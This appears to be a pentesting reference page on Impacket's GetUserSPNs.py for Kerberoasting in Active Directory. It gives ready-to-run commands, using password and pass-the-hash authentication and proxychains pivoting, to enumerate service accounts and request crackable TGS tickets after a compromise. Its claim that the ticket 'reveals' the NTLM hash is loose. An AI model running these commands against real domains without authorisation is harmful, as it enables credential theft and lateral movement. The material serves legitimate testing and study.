Skip to main content

GetUserSPNs.py

When to Use

Useful in post-compromise enumeration. If you acquire domain user passwords or hashes, you can use these credentials to see if there are any user accounts in Active Directory that have been configured with Service Principal Names (SPNs). Service Principals, are effectively user accounts in Active Directory with the purpose of running services.

Often times, Service Principals may be over-privileged or delegated to privileged resources. GetUserSPNs.py will allow the operator to request a Ticket-Granting-Service ticket, thereby revealing the Service Principal's NTLM hash, which may be able to be cracked. You could then pass the cracked service principal's password around the network.


Usage Examples

Password Authentication

The Kali Linux developers have created a series of wrappers around Impacket scripts. In this case, you can easily invoke GetUserSPNs.py by running impacket-GetUserSPNs

# List any service principals associated with the user
impacket-GetUserSPNs -dc-ip domain-controller-ip 'domain.tld/username:password'

# Request a TGS
impacket-GetUserSPNs -dc-ip domain-controller-ip 'domain.tld/username:password' -request

# Post-compromise via a proxy host
proxychains -q impacket-GetUserSPNs -dc-ip domain-controller-ip 'domain.tld/username:password'
proxychains -q impacket-GetUserSPNs -dc-ip domain-controller-ip 'domain.tld/username:password' -request

impacket-GetUserSPNs wrapper on Kali Linux invokes GetUserSPNs.py with user-supplied arguments


Pass the Hash

# List any service principals associated with the user
impacket-GetUserSPNs -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'domain.tld/username'

# Request a TGS
impacket-GetUserSPNs -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'domain.tld/username' -request

# Post-compromise via a proxy host
proxychains -q impacket-GetUserSPNs -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'domain.tld/username'
proxychains -q impacket-GetUserSPNs -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'domain.tld/username' -request

impacket-GetUserSPNs wrapper on Kali Linux invokes GetUserSPNs.py with user-supplied arguments

Back to top